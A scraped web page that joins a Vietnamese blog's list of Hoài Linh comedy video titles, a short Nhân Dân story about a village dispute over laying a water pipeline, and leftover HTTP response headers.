Tiểu Phẩm Rượu - Hoài Linh & Nụ Cười Mới (Kungfu L...
Đón xuân [wWw.haikich.Us] 1
Móc họng [wWw.haikich.Us] 2
HOAI LINH-THIEN AC VO SONG part 3
2! Idol Hoài Linh - Phần 7
Hài Hoài Linh: Thà ăn mày hơn ăn cướp (P1)
2! Idol Hoài Linh - Phần 3
2! Idol Hoài Linh - Phần 9
2! Idol Hoài Linh - Phần 6
[HGBit.com][Kich hai Hoai linh] BucThuKhongDau.
2! Idol Hoài Linh - Phần 8 - BẠN SẼ KHÓC
[HGBit.com][Kich hai Hoai linh] BaGiaiTuXuat.
2! Idol Hoài Linh - Phần 2
Hài kịch: Chảnh [wWw.haikich.Us] 2
Hài kịch - Trấn Thành - Chí Tài - Chàng rể quý - i...
2! Idol Hoài Linh - kịch Ông bố khó tính - Phần 5
Tiểu tử siêu quậy [wWw.haikich.Us] 1
Hài kịch: Chảnh [wWw.haikich.Us] 1
Hoai Linh - Trach Phan
Tiểu tử siêu quậy [wWw.haikich.Us] 6
Hoài Linh Yêu Em Dài Lâu
Hoai Linh Em Di Chua Huong -Chi Tai - Moi Nhat - N...
YouTube hai hoai linh Ru t du i tình yêu Hài Hoài ...
[HGBit.com][Kich hai Hoai linh] 108 anh hung LSB.
HOÀI LINH - Hài kịch: Cổ Tích Một Tình Yêu 13/13 [...
HOÀI LINH - Hài kịch: Cổ Tích Một Tình Yêu 12/13
Bài học...đầu xuân! Chap 1/3 [Hoài Linh, Hữu Nghĩa...
Sức sống mới phỏng vấn Hoài Linh - chap 2/3
Nhung doan hai hay nhat Hoai Linh Chi Tai.flv
Kế Nam Nhân | Hoài Linh-Việt Hương (1/4)
Hoai Linh ft Cam Ly - Hoang Tu Trong Mo
Hoài Linh Cướp Biển Caribe phần 1
Hài 2012 - Võ Lâm Minh Chủ - Tập 2 [ Nhật Cường - ...
2! Idol Hoài Linh - kịch Ông bố khó tính - Phần 4
Hài kịch: Xem mắt nàng dâu 2/5 - Hoài Linh, Nhật C...
Hài kịch: Xem mắt nàng dâu 4/5 - Hoài Linh, Nhật C...
Hài Hoài Linh Chua ch c dâu ba Ph n 3 4 Clip vn
HOÀI LINH - Hài kịch: Cổ Tích Một Tình Yêu 11/13
Hài kịch: Vỡ mộng - Hoài Linh, Nhật Cường, Lê Gian...
HOÀI LINH Hài kịch: Cổ Tích Một Tình Yêu 10/13
Ly dị [wWw.haikich.Us] 3
Bong bóng đá [wWw.haikich.Us]
Hài Kịch: Ru Lại Câu Hò - DV: Hoài Linh - Chí Tài ...
Hai Giai Dieu Miet Vuon P4(Chi Tai, Hoai Linh, Kie...
Xuân Hinh-Hoài Linh-Vượng Râu-Thái Tuấn-Hài Tết 20...
LiveShow Hoài Linh Chí Tài Mới Nhất 2012
Đầu bếp và đại gia [wWw.haikich.Us] 4
Hài Kịch - Tình đời nghệ sĩ (P3) - Hoài Linh & Kiề...
Hài Kịch - Tình đời nghệ sĩ (P2) - Hoài Linh & Kiề...
Hài kịch : Người ở siêu cấp - Hoài Linh, Chí Tài, ...
Hoài Linh Thiện ác vô song Full Hoai Linh Thien ac...
Hài kịch: ĐIỀU KÌ DIỆU 2/2 [Hoài Linh - Việt Hương...
Hài kịch Hạc Tiên - Minh Béo_ Hoài Linh [P2_2] KHÔ...
Nụ Cười Hoài Linh 01 [full - 1 link] - hoài linh l...
Được tạo bởi
Blogger
.
Copyright (c) 2011
Nguyễn Văn Quý
.
## Không có nhận xét nào:
## Đăng nhận xét


markdown:
## Chuyện nông thôn
## Ðường ống nước
Thứ Năm, 07/12/2017, 02:42:33
Cuối cùng đội công nhân đặt đường ống dẫn nước sạch cũng đến làng Chùa. Tiếng máy khoan phá đường bê-tông chát chúa cùng những đống đá chình ình khắp làng trên xóm dưới khiến không ít người khó chịu. Nhưng ý nghĩ chỉ vài ngày nữa nước sạch sẽ về tới từng nhà nên ai nấy đều cố gắng tạo điều kiện cho đội công nhân đẩy nhanh tiến độ.
Ðường ống dẫn nước cứ như con rắn trườn mãi, trườn mãi đến từng ngõ nhỏ, nhưng khi đến trước xóm Miễu thì có chuyện.
- Tôi cấm các anh không được khoan phía sau nhà tôi. - Ông Lý vừa nói vừa khua con dao đang thái rau lợn. Dù không cố ý nhưng con dao của ông Lý cũng khiến đội thi công e dè.
- Chúng tôi chỉ…
- Không chỉ với chỏ gì hết. Ông Lý hùng hổ rút phăng cái phích cắm điện của máy khoan khiến nó ngưng bặt.
Thấy thái độ bất hợp tác của ông Lý, nhiều người dân hiếu kỳ vây lại xem. Người nói không cho khoan là đúng, móng nhà yếu động đến dễ đổ như chơi. Cũng có người lại bảo, hay cứ khoan giữa đường…
Vừa lúc ấy ông Hùng trưởng thôn họp trên xã về, thấy người dân tụ tập to tiếng nên dừng lại, nhác thấy cái máy khoan và thái độ của ông Lý thì hiểu ra ngay mọi chuyện. Ông cười xòa:
- Có gì mà tụ tập đông người thế này. Ông Lý cứ bình tĩnh, ngày xưa đánh địch khó thế mà mình còn thắng được huống hồ giờ chỉ là cái đường ống dẫn nước.
Thấy ông bạn đồng ngũ, ông Lý dịu giọng:
- Ông trưởng thôn đấy à. Tôi…
- Tôi thế nào? Ðây ông xem, móng nhà ông trông vậy nhưng còn vững lắm, hơn nữa công nhân họ có kỹ thuật và máy móc hiện đại sẽ không làm ảnh hưởng đến ngôi nhà của ông đâu. Còn nếu ông vẫn chưa yên tâm thì tôi sẽ đứng ra bảo đảm, có vấn đề gì tôi sẽ chịu trách nhiệm.
Nghe ông trưởng thôn nói hợp lý, mọi người đều tán thành. Ðúng là chuyện gì cũng phải bình tĩnh suy xét, biết thông cảm, mỗi người nhường nhịn nhau một chút vì lợi ích, phát triển chung của cả xóm làng.
|DIỆP CHI|

Server: Apache/2.2.15 (CentOS)

Cache-Control: max-age=0, no-cache, no-store, must-revalidate, post-check=0, pre-check=0

Set-Cookie: 8bfbd24790ad55a831d7f5cf84f0150c=efcb0b96a7e4d5181d04b47bb614b0de; expires=Tue, 12-Dec-2017 22:50:56 GMT; path=/; domain=nhandan.com.vn